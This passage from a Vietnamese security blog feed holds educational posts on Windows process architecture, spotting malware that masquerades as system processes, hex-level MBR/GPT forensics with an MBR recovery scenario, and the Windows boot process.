&lt;/h3&gt;&lt;p&gt;Ngược lại, User Mode là nơi cung cấp môi trường cho chúng ta làm việc, chạy giao diện và xử lý logic ứng dụng. Hầu hết mọi thứ bạn mở (Chrome, Word, các dịch vụ chạy nền) đều nằm ở đây.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quyền hạn:&lt;/strong&gt; Cực kỳ hạn chế. Ứng dụng ở User Mode không được phép trực tiếp chạm vào phần cứng hay bộ nhớ dùng chung.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Không gian bộ nhớ:&lt;/strong&gt; Mỗi tiến trình được cấp một vùng bộ nhớ ảo biệt lập. Chrome không thể tự tiện đọc bộ nhớ của Word.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mức độ an toàn:&lt;/strong&gt; Rất cao. Nếu một ứng dụng User Mode bị lỗi (Crash), chỉ ứng dụng đó bị đóng lại, Windows vẫn sống khỏe.&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Câu hỏi thực chiến:&lt;/strong&gt; Nếu User Mode không được chạm vào phần cứng, làm sao Chrome có thể vẽ đồ họa lên màn hình hay lưu file xuống ổ cứng?
&lt;strong&gt;Trả lời:&lt;/strong&gt; Ứng dụng phải &amp;ldquo;nhờ vả&amp;rdquo; Kernel thông qua một cánh cổng gọi là API (System Calls). Kernel sẽ tiếp nhận yêu cầu, kiểm tra tính hợp lệ, thay mặt ứng dụng thực thi trên CPU/phần cứng, rồi trả kết quả về.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="2-giám-sát-ranh-giới-bằng-task-manager"&gt;2. Giám sát ranh giới bằng Task Manager
&lt;/h2&gt;&lt;p&gt;Là một người làm bảo mật, bạn hoàn toàn có thể theo dõi xem CPU đang dồn sức cho thế giới nào bằng công cụ Task Manager có sẵn của Windows.
Bạn hãy mở &lt;strong&gt;Task Manager -&amp;gt; tab Performance -&amp;gt; Nhấp chuột phải vào biểu đồ CPU và chọn Show kernel times&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Task manager" class="gallery-image" data-flex-basis="377px" data-flex-grow="157" height="307" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/work-mode-windows/taskmana.png" width="483"&gt;
Lúc này trên biểu đồ sẽ xuất hiện hai thành phần:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Đường nét đứt (Kernel Mode):&lt;/strong&gt; Cho thấy CPU đang tốn bao nhiêu % công suất để xử lý các việc &amp;ldquo;hậu cần&amp;rdquo; của hệ điều hành (quản lý bộ nhớ, điều khiển driver, xử lý ngắt&amp;hellip;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Khoảng trống giữa nét đứt và đỉnh biểu đồ (User Mode):&lt;/strong&gt; Đại diện cho mức tiêu thụ của các ứng dụng đang mở.&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;SOC Lưu ý:&lt;/strong&gt; Nếu máy tính không mở phần mềm nào nặng, nhưng đường nét đứt (Kernel Mode) lại tăng vọt bất thường, rất có thể một Driver rác hoặc một Rootkit (mã độc mức Kernel) đang âm thầm hoạt động.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="3-giải-phẫu-hệ-sinh-thái-tiến-trình-cốt-lõi"&gt;3. Giải phẫu hệ sinh thái Tiến trình cốt lõi
&lt;/h2&gt;&lt;p&gt;Sau khi Kernel (&lt;code&gt;ntoskrnl.exe&lt;/code&gt;) yên vị trên RAM, tiến trình System (PID 4) sẽ tạo ra tiến trình User-mode đầu tiên: &lt;code&gt;smss.exe&lt;/code&gt; (Session Manager Subsystem). Đây chính là &amp;ldquo;ông tổ&amp;rdquo; của mọi tiến trình sau này.&lt;/p&gt;
&lt;p&gt;Nhiệm vụ của &lt;code&gt;smss.exe&lt;/code&gt; là thiết lập bộ nhớ ảo, biến môi trường và đặc biệt là chia phòng (tạo Session). Windows chia làm 2 Session chính:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Session 0:&lt;/strong&gt; Khu vực cấm địa, cách ly hoàn toàn giao diện, chỉ dành cho các dịch vụ hệ thống ngầm.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session 1 (hoặc các số lớn hơn):&lt;/strong&gt; Dành cho người dùng đăng nhập và tương tác.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="31-trong-cõi-session-0-hệ-thống"&gt;3.1 Trong cõi Session 0 (Hệ thống)
&lt;/h3&gt;&lt;p&gt;Tại đây, &lt;code&gt;smss.exe&lt;/code&gt; gọi ra hai cận vệ trung thành:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;csrss.exe&lt;/code&gt; (Client/Server Runtime Subsystem): Xử lý các tác vụ nền cho Session 0.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wininit.exe&lt;/code&gt; (Windows Initialize): Kẻ khởi tạo dịch vụ hệ thống. Từ &lt;code&gt;wininit.exe&lt;/code&gt;, một loạt các tiến trình trọng yếu khác ra đời:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;services.exe&lt;/code&gt;: Quản lý toàn bộ các dịch vụ (Services) của Windows. Nó khởi chạy hàng loạt các dịch vụ được bọc trong vỏ bọc &lt;code&gt;svchost.exe&lt;/code&gt; (Service Host) để thực thi các DLL hệ thống.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lsass.exe&lt;/code&gt; (Local Security Authority Subsystem Service): Người gác đền tối cao, chịu trách nhiệm xác thực và quản lý bảo mật.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="32-trong-cõi-session-người-dùng-session-1"&gt;3.2 Trong cõi Session người dùng (Session 1+)
&lt;/h3&gt;&lt;p&gt;Khi bạn chuẩn bị đăng nhập, &lt;code&gt;smss.exe&lt;/code&gt; tạo ra:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Một bản sao &lt;code&gt;csrss.exe&lt;/code&gt; mới:&lt;/strong&gt; Để quản lý giao diện console cho người dùng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;winlogon.exe&lt;/code&gt;:&lt;/strong&gt; Tiến trình vẽ lên màn hình đăng nhập yêu cầu bạn nhập mật khẩu.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Quy trình Xác thực (Authentication Flow):&lt;/strong&gt; Khi bạn gõ mật khẩu, &lt;code&gt;winlogon.exe&lt;/code&gt; không tự kiểm tra. Nó gói thông tin đó gửi thẳng xuống cho &amp;ldquo;người gác đền&amp;rdquo; &lt;code&gt;lsass.exe&lt;/code&gt; ở Session 0. &lt;code&gt;lsass.exe&lt;/code&gt; sẽ đối chiếu mật khẩu. Nếu đúng, &lt;code&gt;lsass.exe&lt;/code&gt; gật đầu, tạo ra một Access Token (Thẻ bài quyền lực) và cấp quyền cho phiên đăng nhập của bạn.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Wininit.exe workflow" class="gallery-image" data-flex-basis="444px" data-flex-grow="185" height="383" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/work-mode-windows/winit.png" width="710"&gt;&lt;/p&gt;
&lt;h2 id="4-soc-analytics-bắt-thóp-mã-độc-ngụy-trang"&gt;4. SOC Analytics: &amp;ldquo;Bắt thóp&amp;rdquo; mã độc ngụy trang
&lt;/h2&gt;&lt;p&gt;Hacker biết rất rõ kiến trúc này. Chúng thừa hiểu nếu chạy một file tên là &lt;code&gt;Trojan_steal_data.exe&lt;/code&gt;, các nhà phân tích SOC sẽ khóa cổ chúng ngay lập tức. Vì vậy, chúng thường đổi tên mã độc thành &lt;code&gt;svchost.exe&lt;/code&gt;, &lt;code&gt;lsass.exe&lt;/code&gt; hay &lt;code&gt;csrss.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Vậy làm sao để SOC Analyst nhận diện được kẻ giả mạo? Chúng ta dựa vào &lt;strong&gt;Mối quan hệ Cha - Con (Parent-Child Process)&lt;/strong&gt; và &lt;strong&gt;Vị trí file&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quy luật 1:&lt;/strong&gt; &lt;code&gt;lsass.exe&lt;/code&gt; xịn chỉ có một bản duy nhất đang chạy, vị trí file bắt buộc phải ở &lt;code&gt;C:\Windows\System32\&lt;/code&gt;, và tiến trình cha bắt buộc phải là &lt;code&gt;wininit.exe&lt;/code&gt;. Nếu bạn thấy &lt;code&gt;lsass.exe&lt;/code&gt; mọc ra từ &lt;code&gt;explorer.exe&lt;/code&gt; (nghĩa là do người dùng click chuột mở lên) hoặc nằm ở thư mục &lt;code&gt;C:\Temp\&lt;/code&gt;, đó 100% là Malware.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quy luật 2:&lt;/strong&gt; &lt;code&gt;svchost.exe&lt;/code&gt; có thể có hàng chục bản đang chạy (để chứa các dịch vụ khác nhau). Nhưng tất cả chúng đều phải có tiến trình cha là &lt;code&gt;services.exe&lt;/code&gt;. Mã độc thường sinh ra &lt;code&gt;svchost.exe&lt;/code&gt; độc lập để đánh lừa mắt người.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mục tiêu số 1 - &lt;code&gt;lsass.exe&lt;/code&gt;:&lt;/strong&gt; Vì tiến trình này làm nhiệm vụ đối chiếu và lưu trữ thông tin đăng nhập, nó giữ rất nhiều mật khẩu (đôi khi là mật khẩu chưa mã hóa) trong RAM của nó. Các công cụ tấn công khét tiếng như Mimikatz luôn tìm cách can thiệp vào bộ nhớ của &lt;code&gt;lsass.exe&lt;/code&gt; để trích xuất (dump) mật khẩu của quản trị viên.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Kiến trúc tiến trình của Windows là một cỗ máy vận hành hoàn hảo với ranh giới quyền lực khắt khe. Việc hiểu rõ ai gọi ai, ai làm nhiệm vụ gì là kỹ năng sống còn giúp SOC Analyst nhạy bén trước các kỹ thuật ẩn mình (Evasion) của Malware. Trong bài viết tiếp theo, chúng ta sẽ rời khỏi RAM để đi sâu vào các ngóc ngách của ổ cứng: Khám phá hệ thống tệp NTFS và kỹ thuật giấu mã độc bằng Alternate Data Streams. Đừng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Giải phẫu ổ cứng (Forensics)</title><link>/post/giai-phau-o-cung-forensics/</link><pubDate>Thu, 07 May 2026 16:40:00 +0700</pubDate><guid>/post/giai-phau-o-cung-forensics/</guid><description>&lt;p&gt;Ở bài viết trước, chúng ta đã đi qua bức tranh tổng thể của quá trình khởi động. Nhưng đối với một nhà phân tích SOC hay chuyên gia điều tra số (Forensics), &amp;ldquo;nhìn thấy&amp;rdquo; hệ điều hành khởi động là chưa đủ. Chúng ta cần phải nhìn thấu vào từng Byte, từng khối Hex trên mặt đĩa vật lý để biết hacker đang giấu gì. Hôm nay, hãy cùng mình mở công cụ HxD lên và đi sâu vào giải phẫu MBR, GPT, đồng thời thực hành một kịch bản &amp;ldquo;cứu hộ&amp;rdquo; kinh điển: Khôi phục MBR bị mã độc phá hủy.&lt;/p&gt;
&lt;h2 id="1-mbr-master-boot-record-dưới-lăng-kính-hex"&gt;1. MBR (Master Boot Record) dưới lăng kính Hex
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;💡 &lt;strong&gt;Nhắc lại kiến thức:&lt;/strong&gt; Ở bài viết trước, chúng ta đã tìm hiểu về cấu trúc 512 byte chật chội của MBR (gồm 446 byte Bootstrap, 64 byte Bảng phân vùng và 2 byte Chữ ký). Nếu bạn chưa nắm rõ phần này, hãy xem lại bài viết &lt;strong&gt;&lt;a class="link" href="/p/windows-booting/" &gt;Khởi nguồn hệ thống - Windows Booting&lt;/a&gt;&lt;/strong&gt; trước khi đi tiếp nhé!&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="Ví dụ về một bảng phân vùng" class="gallery-image" data-flex-basis="1510px" data-flex-grow="629" height="109" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/giai-phau-o-cung-forensics/bangphanvung.png" width="686"&gt;&lt;/p&gt;
&lt;h3 id="11-giải-mã-16-byte-của-bảng-phân-vùng-partition-table"&gt;1.1 Giải mã 16 Byte của Bảng phân vùng (Partition Table)
&lt;/h3&gt;&lt;p&gt;Nhìn vào 16 byte của một phân vùng trong HxD, làm sao ta đọc hiểu được nó? Hãy lấy ví dụ một chuỗi Hex chuẩn của phân vùng khởi động:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;80 20 21 00 07 FE FF FF 00 08 00 00 00 B0 23 03
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Đây là cách chúng ta hiểu nó:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Chỉ báo khởi động (Byte 1 - 80):&lt;/strong&gt; Giá trị &lt;code&gt;80&lt;/code&gt; nghĩa là phân vùng này có thể khởi động được (Active/Bootable). Nếu là &lt;code&gt;00&lt;/code&gt; thì đây chỉ là ổ chứa dữ liệu bình thường.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Địa chỉ CHS bắt đầu (Byte 2,3,4 - 20 21 00):&lt;/strong&gt; Tọa độ vật lý (Cylinder-Head-Sector) bắt đầu của đĩa. Ngày nay, thông số này không còn quá quan trọng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mã hệ thống tệp (Byte 5 - 07):&lt;/strong&gt; Giá trị &lt;code&gt;07&lt;/code&gt; khẳng định đây là phân vùng định dạng NTFS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Địa chỉ CHS kết thúc (Byte 6,7,8 - FE FF FF):&lt;/strong&gt; Tọa độ vật lý kết thúc của phân vùng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Địa chỉ LBA bắt đầu (Byte 9,10,11,12 - 00 08 00 00):&lt;/strong&gt; Tọa độ logic bắt đầu. Do Windows dùng định dạng Little-Endian (byte thấp đứng trước), ta phải đọc ngược lại thành &lt;code&gt;00 00 08 00&lt;/code&gt;. Đổi chuỗi Hex &lt;code&gt;0800&lt;/code&gt; ra hệ thập phân ta được 2048. Nhân với 512 byte/sector, ta biết phân vùng này bắt đầu tại Offset &lt;code&gt;1048576&lt;/code&gt; trên ổ cứng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kích thước phân vùng (Byte 13,14,15,16 - 00 B0 23 03):&lt;/strong&gt; Đọc ngược Little-Endian thành &lt;code&gt;03 23 B0 00&lt;/code&gt;. Chuyển sang thập phân là 52,670,464 sectors. Nhân với 512 byte, ta tính ra phân vùng này nặng khoảng 26,967,277,568 bytes (xấp xỉ 26.9 GB).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Mẹo thực hành:&lt;/strong&gt; Trong HxD, bạn có thể bấm &lt;code&gt;Ctrl + G&lt;/code&gt; (Go to), nhập giá trị thập phân &lt;code&gt;1048576&lt;/code&gt; vào ô Offset để nhảy thẳng đến vị trí bắt đầu của hệ điều hành.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Nhớ chọn dec để di chuyển đến vị trí offset" class="gallery-image" data-flex-basis="237px" data-flex-grow="98" height="266" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/giai-phau-o-cung-forensics/goto.png" width="263"&gt;&lt;/p&gt;
&lt;h2 id="2-thử-khôi-phục-mbr-bị-xóa"&gt;2. Thử khôi phục MBR bị xóa
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Kịch bản sự cố:&lt;/strong&gt; Máy chủ cơ sở dữ liệu quan trọng đột nhiên không thể khởi động. Điều tra cho thấy một nhân viên đã vô tình mở email chứa mã độc. Hệ thống bị ép khởi động lại và báo lỗi &amp;ldquo;Operating System not found&amp;rdquo;. Mọi nghi ngờ đổ dồn vào một Bootkit đã phá hủy MBR.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tiến hành phân tích:&lt;/strong&gt; Khi load file Image của ổ cứng nạn nhân vào HxD và soi vào Sector 0, ta phát hiện một điểm chí mạng: Ở Offset &lt;code&gt;000001F0&lt;/code&gt; (cuối Sector 0), thay vì kết thúc bằng chữ ký chuẩn &lt;code&gt;55 AA&lt;/code&gt;, nó lại chứa toàn &lt;code&gt;00 00&lt;/code&gt;. Không có chữ ký này, BIOS không công nhận đây là một ổ đĩa hợp lệ!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cách khôi phục:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Dò tìm VBR (Volume Boot Record):&lt;/strong&gt; Dù MBR bị xóa, nhưng phân vùng chứa hệ điều hành vẫn còn. Theo tiêu chuẩn mặc định của Windows, phân vùng đầu tiên (LBA bắt đầu) thường nằm ở Sector 2048.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Xác nhận:&lt;/strong&gt; Di chuyển tới Sector 2048. Nếu ta nhìn thấy chuỗi chữ ký NTFS hoặc thông điệp lỗi dạng &lt;code&gt;A disk read error occurred... NTLDR is missing&lt;/code&gt;, thì xin chúc mừng, dữ liệu chưa hề mất.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tái tạo:&lt;/strong&gt; Bằng các công cụ chuyên dụng (như Bootrec.exe hoặc TestDisk), ta có thể ghi lại 446 byte mã khởi động và chèn lại chữ ký &lt;code&gt;55 AA&lt;/code&gt; vào vị trí cũ, cứu sống hoàn toàn máy chủ mà không làm mất một bit dữ liệu nào.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="3-sự-tiến-hóa-mang-tên-gpt-guid-partition-table"&gt;3. Sự tiến hóa mang tên GPT (GUID Partition Table)
&lt;/h2&gt;&lt;p&gt;MBR có giới hạn chí mạng: Nó chỉ hỗ trợ tối đa 4 phân vùng và không thể quản lý dung lượng đĩa quá 2 Terabytes. Để đáp ứng các server khổng lồ, UEFI và GPT (hỗ trợ lên đến 9 Zettabyte, 128 phân vùng) ra đời.&lt;/p&gt;
&lt;p&gt;Để đảm bảo tương thích ngược và tránh việc các công cụ định dạng cũ tưởng nhầm đĩa GPT là đĩa trắng rồi &amp;ldquo;vô tình&amp;rdquo; ghi đè, GPT tạo ra một lớp giáp gọi là Protective MBR (MBR bảo vệ).&lt;/p&gt;
&lt;h3 id="31-mbr-bảo-vệ-protective-mbr"&gt;3.1 MBR Bảo vệ (Protective MBR)
&lt;/h3&gt;&lt;p&gt;Nó vẫn nằm ở Sector 0. Cấu trúc của nó y hệt MBR cũ, chứa đủ &lt;code&gt;55 AA&lt;/code&gt; ở cuối, nhưng bảng phân vùng của nó chỉ khai báo đúng 1 phân vùng duy nhất, chiếm toàn bộ đĩa đệm với mã loại (Type) là &lt;code&gt;EE&lt;/code&gt;. Mã &lt;code&gt;EE&lt;/code&gt; là tín hiệu để các hệ thống cũ lùi lại: &amp;ldquo;Đây là đĩa GPT, đừng có đụng vào!&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Một gpt bình thường" class="gallery-image" data-flex-basis="272px" data-flex-grow="113" height="590" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/giai-phau-o-cung-forensics/gpt.png" width="671"&gt;&lt;/p&gt;
&lt;h2 id="4-giải-phẫu-gpt-header-và-partition-entry-array"&gt;4. Giải phẫu GPT Header và Partition Entry Array
&lt;/h2&gt;&lt;p&gt;Với GPT, mọi thứ thực sự bắt đầu từ Sector 1 và Sector 2.&lt;/p&gt;
&lt;h3 id="41-gpt-header-sector-1"&gt;4.1 GPT Header (Sector 1)
&lt;/h3&gt;&lt;p&gt;&lt;img alt="gpt header" class="gallery-image" data-flex-basis="1470px" data-flex-grow="612" height="110" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/giai-phau-o-cung-forensics/header.png" width="674"&gt;&lt;/p&gt;
&lt;p&gt;GPT Header chiếm 92 byte đầu tiên của Sector 1. Khi nhìn vào Hex, bạn sẽ thấy nó cực kỳ rõ ràng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Chữ ký (8 Byte đầu):&lt;/strong&gt; Luôn là &lt;code&gt;45 46 49 20 50 41 52 54&lt;/code&gt; (Dịch ra mã ASCII là &amp;ldquo;EFI PART&amp;rdquo;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bảo vệ toàn vẹn (CRC32):&lt;/strong&gt; GPT lưu mã Hash CRC32 của chính nó. Nếu mã độc sửa đổi dù chỉ 1 byte trong Header, CRC32 sẽ thay đổi, UEFI sẽ lập tức phát hiện và báo lỗi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LBA dự phòng (Backup LBA):&lt;/strong&gt; Một tính năng tuyệt vời của GPT! Nó khai báo vị trí của một bản sao lưu GPT Header ở tít tận Sector cuối cùng của ổ đĩa. Nếu Header chính bị mã độc phá, ta vẫn có thể dùng bản Backup để hồi sinh hệ thống.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="42-partition-entry-array-mảng-phân-vùng---sector-2-trở-đi"&gt;4.2 Partition Entry Array (Mảng phân vùng - Sector 2 trở đi)
&lt;/h3&gt;&lt;p&gt;GPT hỗ trợ quản lý tới 128 phân vùng, mỗi phân vùng được cấp hẳn 128 Byte để lưu trữ thông tin (thay vì 16 byte chật hẹp như MBR).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Một Partition Entry trong GPT chứa gì?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GUID Loại Phân vùng (16 byte):&lt;/strong&gt; Định danh loại phân vùng. Đặc biệt, nó được lưu dưới dạng Mixed-Endian (Trộn lẫn giữa Little-Endian và Big-Endian). 3 khối byte đầu phải đọc ngược, trong khi 2 khối sau giữ nguyên.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GUID Phân vùng duy nhất (16 byte):&lt;/strong&gt; Căn cước công dân (ID) riêng biệt cho từng phân vùng đĩa.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LBA Bắt đầu &amp;amp; Kết thúc (16 byte):&lt;/strong&gt; Vị trí chính xác của phân vùng.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tên Phân vùng (72 byte):&lt;/strong&gt; Được lưu dưới định dạng chuỗi UTF-16. Nếu ném đoạn Hex này vào tool convert, ta sẽ thấy rõ ràng các tên như &amp;ldquo;Basic data partition&amp;rdquo; hay &amp;ldquo;EFI system partition&amp;rdquo;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đặc biệt, hệ điều hành sẽ không boot từ một phân vùng chung chung nữa. Mọi file Bootloader (các file &lt;code&gt;.efi&lt;/code&gt;) đều phải được đặt gọn gàng trong một khu vực riêng gọi là Phân vùng hệ thống EFI (ESP). Mã độc muốn can thiệp quá trình Boot trên máy UEFI buộc phải tìm cách chui lọt qua Secure Boot và ghi dữ liệu vào phân vùng ESP này.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Việc đọc hiểu mã Hex của ổ cứng giúp các SOC và Forensics không bị phụ thuộc vào các công cụ tự động. Khi hệ thống sụp đổ hoặc mã độc ẩn mình dưới lớp vỏ bọc, chính những byte dữ liệu thô này sẽ nói cho chúng ta biết sự thật. Ở bài viết tới, chúng ta sẽ bắt tay vào phân tích sâu hơn hệ thống tệp NTFS và kỹ thuật giấu file bằng Alternate Data Streams. Hẹn gặp lại các bạn!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Khởi nguồn hệ thống - Windows Booting</title><link>/post/windows-booting/</link><pubDate>Thu, 07 May 2026 16:30:00 +0700</pubDate><guid>/post/windows-booting/</guid><description>&lt;p&gt;Chào mừng các bạn đến với Series Giải phẫu Windows OS &amp;amp; SOC Analytics. Ở bài viết đầu tiên này mình sẽ giúp các bạn hiểu về quá trình khởi tạo của Windows.&lt;/p&gt;
&lt;h2 id="1-giai-đoạn-phần-cứng-tiếng-gọi-đầu-tiên-pre-boot"&gt;1. Giai đoạn Phần cứng: Tiếng gọi đầu tiên (Pre-boot)
&lt;/h2&gt;&lt;p&gt;Bước đầu tiên của quá trình khởi động bắt đầu bằng việc nhấn nút nguồn, thao tác này sẽ gửi tín hiệu điện đến bo mạch chủ và khởi tạo tất cả các thành phần. CPU là thành phần đầu tiên nhận tín hiệu điện và cần một số chỉ dẫn để tiếp tục. Lúc này, quá trình kiểm tra phần cứng POST (Power on Self-Test) sẽ diễn ra để xem RAM, CPU, bàn phím có hoạt động không.&lt;/p&gt;
&lt;p&gt;Để có chỉ dẫn, CPU sẽ tìm đến một phần mềm nhúng trên bo mạch chủ (được gọi chung là &lt;strong&gt;Firmware&lt;/strong&gt;). Trong lịch sử thiết kế hệ thống, có hai chuẩn Firmware khởi động chính và sự khác biệt giữa chúng là điểm mấu chốt trong điều tra số:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Legacy BIOS (Hệ thống đầu vào/đầu ra cơ bản):&lt;/strong&gt; Chuẩn Firmware cũ kỹ hoạt động ở chế độ 16-bit và chỉ hỗ trợ dung lượng ổ đĩa tối đa 2 terabyte. Legacy BIOS đi liền với lược đồ phân vùng MBR (Master Boot Record).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UEFI (Giao diện phần mềm mở rộng thống nhất):&lt;/strong&gt; Chuẩn Firmware thế hệ mới, hiện đại chạy ở chế độ 32-bit/64-bit, hỗ trợ dung lượng lên đến 9 zettabyte và mang theo tính năng Khởi động an toàn (Secure Boot). UEFI sử dụng sơ đồ phân vùng GPT (GUID Partition Table).&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;em&gt;(Lưu ý: Dân IT chúng ta vẫn hay quen miệng gọi chung là &amp;ldquo;vào màn hình BIOS để cài đặt&amp;rdquo;, nhưng thực chất trên các máy tính từ năm 2012 trở lại đây, cái mà chúng ta đang truy cập chính là giao diện của UEFI. Trong UEFI có một chế độ gọi là &lt;strong&gt;Legacy Mode&lt;/strong&gt; dùng để giả lập lại môi trường BIOS cũ nhằm hỗ trợ cài các hệ điều hành đời cổ).&lt;/em&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="So sánh giao diện BIOS và UEFI" class="gallery-image" data-flex-basis="426px" data-flex-grow="177" height="675" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/windows-booting/biosvsuefi.jpg" srcset="/post/windows-booting/biosvsuefi_hu_d6c21e305dbd3699.jpg 800w, /post/windows-booting/biosvsuefi.jpg 1200w" width="1200"&gt;&lt;/p&gt;
&lt;h2 id="2-giai-đoạn-tìm-kiếm-sự-sống-mbr-và-gpt"&gt;2. Giai đoạn Tìm kiếm &amp;ldquo;Sự Sống&amp;rdquo;: MBR và GPT
&lt;/h2&gt;&lt;p&gt;Sau khi kiểm tra POST, BIOS/UEFI sẽ quét các thiết bị khởi động (SSD, HDD, USB) để tìm kiếm mã khởi động (có thể hiểu là đi tìm điểm bắt đầu, và tất nhiên các thiết bị lưu trữ sẽ được ưu tiên hàng đầu).&lt;/p&gt;
&lt;h3 id="21-bios-đi-tìm-mbr-master-boot-record"&gt;2.1. BIOS đi tìm MBR (Master Boot Record)
&lt;/h3&gt;&lt;p&gt;Trên hệ thống BIOS, sector đầu tiên của đĩa (kích thước chuẩn 512 byte) sẽ chứa MBR. Cấu trúc của MBR cực kỳ chật chội:&lt;/p&gt;
&lt;p&gt;&lt;img alt="MBR example" class="gallery-image" data-flex-basis="273px" data-flex-grow="113" height="585" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/windows-booting/mbrsector.jpg" width="666"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bootstrap code (446 bytes):&lt;/strong&gt; Bộ nạp khởi động ban đầu. Mục đích chính của nó là tìm phân vùng có thể khởi động từ bảng phân vùng và tải bộ nạp khởi động thứ hai từ đó.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Partition Table (64 bytes):&lt;/strong&gt; Bảng phân vùng chứa thông tin chi tiết của tất cả phân vùng (tối đa 4 phân vùng Primary).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MBR Signature (2 bytes):&lt;/strong&gt; Chữ ký đánh dấu điểm kết thúc của mã MBR, luôn luôn là giá trị Hex &lt;code&gt;55 AA&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
